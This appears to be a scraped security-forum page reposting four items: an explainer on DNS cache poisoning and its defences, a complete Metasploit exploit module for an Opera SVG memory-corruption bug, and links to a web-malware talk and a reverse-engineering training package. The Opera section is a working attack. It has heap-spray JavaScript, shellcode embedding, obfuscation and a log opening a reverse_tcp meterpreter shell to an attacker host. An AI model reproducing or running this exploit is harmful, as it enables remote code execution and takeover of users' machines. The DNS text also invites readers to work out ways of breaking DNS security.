These are the information which is used to resolve frequently queried names before sending queries DNS servers. DNS cache poisoning Attack: DNS cache poisoning attack is the practice of changing or adding false records in the resolver caches, so that a DNS query for a domain returns an IP added by attacker other than the original IP address of the website. This attack can be performed either on the client or the server. Most successful attack adds false records on the resolver cache of both (client and server). Suppose a computer system sends a request to DNS to get the IP address of a website www.abc.com. But an attacker has managed to know the transaction ID of the request and respond with a spoofed packet with the same transaction ID but false IP address before the DNS response. In this case, firstly system will get the response of attacker. So the system will redirect to a false IP other than the original IP address of the website www.abc.com. Figure 3: Attacker’s response before DNS Now see how this attack is performed in real time: Step 1: The resolver checks the resolver cache in the system’s memory to see the entry for the domain www.abc.com. Step 2: If there is no entry in resolver cache, the resolver sends a request to the DNS server. Step 3: When the DNS server receives the request, it first checks to see if it’s authoritative (because a DNS for .in domains cannot server for the request made for .com domain). If it is not authoritative for www.abc.com, it will look for its local cache for the entry of www.abc.com exists. If it does not then it will send the request to another DNS for the IP of the domain. Step 4: Suppose an attacker wants to poison the internal cache of DNS, he will try to get the transaction ID. Once he gets the transaction ID, he can respond to the DNS query from his fake DNS server with a rogue IP. Most of the attackers use DDOS attack on authoritative servers. While the authoritative server struggles to deal with the attack, the attacker’s DNS server has time to determine the transaction ID. After getting the transaction ID, attacker can respond to the DNS with a rogue IP for www.abc.com. Step 5: The rogue IP address for abc.com is added to DNS cache and returned to the requesting system too. Step 6: At the system this rogue IP is added to the resolver cache and system’s browser is navigated to the IP address, sent by the attacker. In The above example, attacker used DDOS attack on authoritative server to respond on behalf of it. But attacker can also use other methods to perform this attack. Attacker will send a query request to DNS about a domain which is controlled by attacker. The nameservers of the attacker’s domain will reply to DNS query about the domain name requested along with the additional information about the domain (suppose www.abc.com) for which attacker want to poison the cache. If the DNS is vulnerable to the caching extra information sent in a query response, attacker would be able to poison the cache of DNS with rogue IP address. This will again poison client’s systems cache who will request for this domain (www.abc.com). This attack is simpler than I have explained in the above steps where attacker used DDOS. There are so many other ways and you can also think how you can fool a DNS by studying how it implements security. Then you can try to break the security mechanisms. Why attacker uses DNS cache poisoning to send a user to rogue ip address: Once the system’s and Domain Name server’s cache is poisoned with a rogue IP address, the user will redirect to a wrong website. In the examples I have shown above, the system’s cache is poisoned for www.abc.com. So user will not be able to access the original website. Now attacker can do following things with this attack. Phishing attack: User will create a fake website which will be identical to www.abc.com. When user will try to access www.abc.com , he will be sent to fake website hosted by attacker. Suppose the website is a bank website, attacker can easily get the login information of users. If the cache of DNS is poisoned, all the users connoting to the DNS will be sent to the fake phishing website. Man in the middle attack: This attack is also useful in performing MIM (Man in the Middle) attack. When a system initiates a session with the attacker’s server, attacker’s server can initiate a session with original website. In this way all the information passed from the system to original website will be visible to attacker. Malware distribution: Many times, this attack is used to distribute malware to users. Malware is uploaded to the fake website and will be downloaded to all the visitors. This is the best way to distribute malware. Attacker can distribute his malware in bulk. In classical way of malware uploading and waiting for a victim to come and download is not effective. It also takes too much time. How to prevent this attack This attack is mostly done while a DNS request to other DNS. So this attack can be prevented on DNS by less trusting on information sent by other DNS servers. The most basic defense against this attack is use of latest version of DNS. Latest DNS uses port randomization with transaction ID so it’s hard for attacker to guess for the port. DNS based on BIND 9.5.0 or above perform these checks. Transaction ID is also cryptographically secure which reduce the probability of attack. But BIND version must be hidden within the query packets Remove unnecessary services running on the DNS servers. Attackers can use these unnecessary services to attack on DNS. Recursive queries should be limited and DNS should only store information about the domain it has requested. It must be configured not to add additional domains information in a query response. Most of the DNS servers are vulnerable to this attack. DNSSEC: DNSSEC (Domain Name System Security Extension) is developed by Internet Engineering Task Force (IETF) which is an extension to DNS to provide a secure authentication of DNS data. It is designed to protect resolvers from DNS forging. This suit is mainly designed to prevent DNS cache poisoning. But DNSSEC does not provide confidentiality of data so DNSSEC responses are authenticated not encrypted. Conclusion: DNS cache poisoning is a large risk for all those organizations which are still using older version of DNS. In recent mass bank account hacking cyber crimes, attackers use DNS cache poisoning to redirect bank users to their phishing website. Every year, this attack causes million dollar loss to bank users. So careful use of latest DNS and DNSSEC can prevent this attack and help in creating secure internet. DNS server must be configured properly. This is the main cause of unsecure DNS servers. Sursa: http://resources.infosecinstitute.com/dns-cache-poisoning/

Exploit for Opera Browser 10/11/12 (SVG layout) Memory Corruption (0day) ############################################################################################################### # Exploit for Opera Browser 10/11/12 (SVG layout) Memory Corruption (0day) # # Vulnerability: # # Discovered: 2010-10-13 # Patched: 0day # Tested on: v10.xx (v10.50, v10.51, v10.52, v10.53, v10.54, v10.6, v10.61, v10.62 and v10.63) # v11.xx (v11.00, v11.01, v11.10, v11.11, v11.50 and v11.51) # # Exploit: # # Coded: 2010-10-14 # Last revision: 2011-10-08 # # This exploit was modified with a new poc and triggering method, to hit Opera Next. The first copy was coded for v10.5x/v10.6x. # # RCE on: v11.00, v11.01, v11.10, v11.11, v11.50, v11.51 and v12.00 pre-alpha r1076 (Opera Next) # # Notes: # # 1) DEP bypass: possible but unreliable. # 2) Let me know if you improve this one # 3) Two days ago, Opera Next was updated to 12.00 pre-alpha r1085 # and this exploit is less reliable, even sometimes never gets crashed. # Anyway, I've also seen remote code execution. # # # Credits: Jose A. Vazquez of http://spa-s3c.blogspot.com # # Greets to: Ruben, Sinn3r, Metasploit Team, Corelan Team, EnRed20.org, etc # # # Running against Opera v12.00 pre-alpha r1076... # # # # =[ metasploit v4.0.1-dev [core:4.0 api:1.0] # + -- --=[ 742 exploits - 378 auxiliary - 83 post # + -- --=[ 228 payloads - 27 encoders - 8 nops # =[ svn r13810 updated today (2011.10.06) # # msf > use windows/browser/opera_svg_0day # msf exploit(opera_svg_0day) > set payload windows/meterpreter/reverse_tcp # payload => windows/meterpreter/reverse_tcp # msf exploit(opera_svg_0day) > set LHOST 192.168.1.103 # LHOST => 192.168.1.103 # msf exploit(opera_svg_0day) > exploit # [*] Exploit running as background job. # msf exploit(opera_svg_0day) > # [*] Started reverse handler on 192.168.1.103:4444 # [*] Using URL: http://0.0.0.0:8080/dpIDdyCpEoqCa5 # [*] Local IP: http://192.168.1.103:8080/dpIDdyCpEoqCa5 # [*] Server started. # [*] Sending Opera Browser 10/11/12 (SVG layout) Memory Corruption to 192.168.1.104:1233 (Method: usual / Target: Opera Browser (v11.xx - v12.00pre-alpha) / Windows XP SP3 (DEP-off)) # [*] Sending stage 1 (Spraying the heap) # [*] Sending stage 2 (Triggering the vulnerability) # [*] Sending Opera Browser 10/11/12 (SVG layout) Memory Corruption to 192.168.1.104:1233 (Method: usual / Target: Opera Browser (v11.xx - v12.00pre-alpha) / Windows XP SP3 (DEP-off)) # [*] Sending stage (752128 bytes) to 192.168.1.104 # [*] Sending stage 1 (Spraying the heap) # [*] Meterpreter session 2 opened (192.168.1.103:4444 -> 192.168.1.104:1234) at 2011-10-08 22:32:31 +0200 # Interrupt: use the 'exit' command to quit # msf exploit(opera_svg_0day) > sessions # # Active sessions # =============== # # Id Type Information Connection # -- ---- ----------- ---------- # 1 meterpreter x86/win32 0XDE1-A39ED4C12\0xde1 @ 0XDE1-A39ED4C12 192.168.1.103:4444 -> 192.168.1.104:1234 # # msf exploit(opera_svg_0day) > sessions -i 1 # [*] Starting interaction with 1... # # meterpreter > execute -f calc.exe # Process 1752 created. # meterpreter > exit # [*] Shutting down Meterpreter... # # [*] Meterpreter session 1 closed. Reason: User exit # msf exploit(opera_svg_0day) > # ################################################################################################################ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Opera Browser 10/11/12 (SVG layout) Memory Corruption', 'Description' => %q{ This module exploits a vulnerability in the bad nesting with SVG tags. Successfully exploiting leads to remote code execution or denial of service condition under Windows XP SP3 (DEP = off). Best results of reliability using Opera v12.00 pre-alpha r1076 whereas that v11.xx will have less success (depending of opera.dll version). This module won't work against v10.xx because it was modified to exploit Opera upper to v11. Read the lastest references for further details. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jose A. Vazquez' ], 'Version' => '$Revision: 0011 $', 'References' => [ ['URL', 'http://www.beyondsecurity.com/ssd.html'], ['URL', 'http://spa-s3c.blogspot.com/2011/10/spas3c-sv-006opera-browser-101112-0-day.html'], # English ['URL', 'http://enred20.org/node/27'] # Spanish ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'HTTP::compression' => 'gzip', 'HTTP::chunked' => true }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'Compat' => { 'ConnectionType' => '-find', }, 'StackAdjustment' => -3500 }, 'Platform' => 'win', 'Targets' => [ # spray of ~ 450 MB. [ 'Opera Browser (v11.xx - v12.00pre-alpha) / Windows XP SP3 (DEP-off)', { 'Method' => 'usual', 'MaxOffset' => nil, 'MaxSize' => nil, 'MaxBlocks' => 900, 'Ret' => 0x0c0c0c0c } ], # Thanks to sinn3r of metasploit.com for this method. [ 'Opera Browser (v11.xx) / Windows XP SP3 (DEP-off)', { 'Method' => 'precise-allocation-size', 'MaxOffset' => 0x800, 'MaxSize' => 0x80000, 'MaxBlocks' => 0x500, 'Ret' => 0x0c0c0c0c } ] ], 'DisclosureDate' => '0day', 'DefaultTarget' => 0)) #Apply obfuscation by default register_options( [ OptBool.new('OBFUSCATE', [false, 'JavaScript obfuscation', true]) ], self.class) end def on_request_uri(cli, request) mytarget = target if(request.uri =~ /\.xhtml$/) #Send file for trigger the vulnerability html = %Q| <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svt="http://www.w3.org/2000/svg"> <head> <meta http-equiv="refresh" content="0;url=" /> </head> <select1 style = 'padding-bottom: 8711px;background-image: url("HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH");' > <svt:svg> <svt:title style = 'pointer-events: visiblePainted;font: normal small-caps 120%/120% fantasy;' > <svt:svg> <svt:font> <svt:animateMotion> feFuncR </svt:animateMotion> </svt:font> </svt:svg> </svt:title> </svt:svg> </select1> </html> | #Send triggerer print_status("Sending stage 2 (Triggering the vulnerability)") var_contentype = 'application/xhtml+xml' else #Sending init HTML print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (Method: #{mytarget['Method']} / Target: #{mytarget.name})") return if ((p = regenerate_payload(cli)) == nil) shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch)) addr_word = [mytarget.ret].pack('V').unpack('H*')[0][0,4] var_timer_trigger = (rand(3) + 2) * 1000 var_file_trigger = rand_text_alpha(rand(30)+2) #Build the exploit var_url = ((datastore['SSL']) ? "https://" : "http://") var_url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']) var_url << ":" + datastore['SRVPORT'] var_url << get_resource #Choose the heap spray method if(mytarget['Method'] == 'usual') spray_js = <<-JS var shell = unescape("#{shellcode}"); var size = shell.length * 2; var nopsize = 0x100000 - (size + 0x14); var nopsled = unescape("%u#{addr_word}"); while(nopsled.length * 2 < nopsize) { nopsled += nopsled; } var blocks = new Array(); for (var x = 0; x < #{mytarget['MaxBlocks']}; x++) { blocks[x] = nopsled + shell; } function TriggerVuln(){ document.write("<iframe src='#{var_url}/#{var_file_trigger}.xhtml'></iframe>"); } JS else # # Tested on Opera v11.5x but it's not working on Opera v12.00 pre-alpha # # /* # * Heap spray for Opera that uses VirtualAlloc # * Arguments: # * @blocks - an emtpy array # * @code - the payload # * @offset - padding to align the code # * @chunk_max - max size for each allocation # * @blocks_max - max blocks # */ # # spray_js = <<-JS function heap_spray(blocks, code, offset, chunk_max, blocks_max) { if (chunk_max < 0x7F000) { throw "This function is meant for size 0x7F000 or higher to trigger VirtualAlloc"; } chunk_max /= 2; var nops = unescape("%u0c0c%u0c0c"); while (nops.length < chunk_max) nops += nops; var offset_chunk = nops.substr(0, offset-code.length); var block = offset_chunk + code + nops.substr(0, chunk_max-offset_chunk.length-code.length); while (block.length % 8 != 0) block += unescape("%u0c"); var shellcode = block.substr(0, (chunk_max-0x1c)/2); for (var i=0; i < blocks_max; i++) { blocks[i] = shellcode + unescape("%u0c0c"); } } var blocks = new Array(); var code = unescape("#{shellcode}"); heap_spray(blocks, code, #{mytarget['MaxOffset']}, #{mytarget['MaxSize']}, #{mytarget['MaxBlocks']}); function TriggerVuln(){ document.write("<iframe src='#{var_url}/#{var_file_trigger}.xhtml'></iframe>"); } JS end if datastore['OBFUSCATE'] == true spray_js = ::Rex::Exploitation::JSObfu.new(spray_js) spray_js.obfuscate trigger_sym = spray_js.sym('TriggerVuln') spray_js = spray_js.to_s + "setTimeout('#{trigger_sym}()',#{var_timer_trigger});" else spray_js = spray_js.to_s + "setTimeout('TriggerVuln()',#{var_timer_trigger});" end html = %Q| <html> <head> <script type="text/javascript"> #{spray_js} </script> </head> <html> | print_status("Sending stage 1 (Spraying the heap)") var_contentype = 'text/html' end #Response send_response(cli, html, { 'Content-Type' => var_contentype, 'Pragma' => 'no-cache' }) #Handle the payload handler(cli) end end # 1337day.com [2011-10-09] Sursa: Opera Browser 10/11/12 (SVG layout) Memory Corruption (0day) | Inj3ct0r - exploit database : vulnerability : 0day : shellcode

The Good Hacker: Dismantling Web Malware with Aditya K Sood & Richard J Enbody, SecNiche Security Labs, Michigan State University by OWASP plus 11 hours ago O prezentare video detaliata despre analiza malware-ului pe partea de Web. Sunt prezentate multe lucruri, explicate si detaliate, lucruri ca Drive-by sau exploit pack-uri ca BlackHole, dar si scanarea URL-urilor si analiza acestor aplicatii malitioase. Video: http://vimeo.com/32718061

Free IDA Pro Binary Auditing Training Material Atentie! Unele fisiere sunt detectabile. Nu incepeti cu prostii ca "ne dai virusi", nu sunt virusi, sunt programele "packed" prin diverse metode si acest aspect le face detectabile. Si ideea e ca NU le executati, ci faceti Reverse Enginnering. Oricum, cine e interesat de astfel de notiuni stie despre ce e vorba. Puteti doar sa cititi PDF-urile, ar trebui sa fie de ajuns. Content Overview The training package includes all necessary files to run a complete lecture for Binary Auditing and Reverse Code Engineering at university. All files are well sorted by topics and with increasing difficulty. You need Windows XP, Windows Vista or Windows 7 to use this training package. The training package does NOT include runnable viruses! Topic Files IDA Pro 5.0 (Free) 1 Total 324 HLL Mapping 1 (NOT for training, only as reference!) 98 HLL Mapping 2 (Start here and convert them to C) 31 Manual Decompilation (Simple exercises) 10 Algorithm Analysis 1 (Simple math exercises) 3 Algorithm Analysis 2 (Simple math exercises) 6 Crash Auditing (more complicated, why crashing?) 10 File Understanding (Simple to hard Reversemes) 31 Copy Protection Auditing (Simple to very hard) 47 Unpacking (Simple exercises) 3 Vulnerability Auditing (Simple to intermediate) 38 Malware Auditing 1 (Simple old .com/.exe exercises) 41 Malware Auditing 2 (Some fakes for analysis) 4 Malware Auditing 3 (Simple win32 analysis) 1 Download: http://www.codebreakers-journal.com/binary-auditing-training-package.zip Password: fdcd2ff4c2180329053650f3075d39f4 Sursa: Free IDA Pro Reverse Code Engineering and Binary Auditing Training Material for University Lectures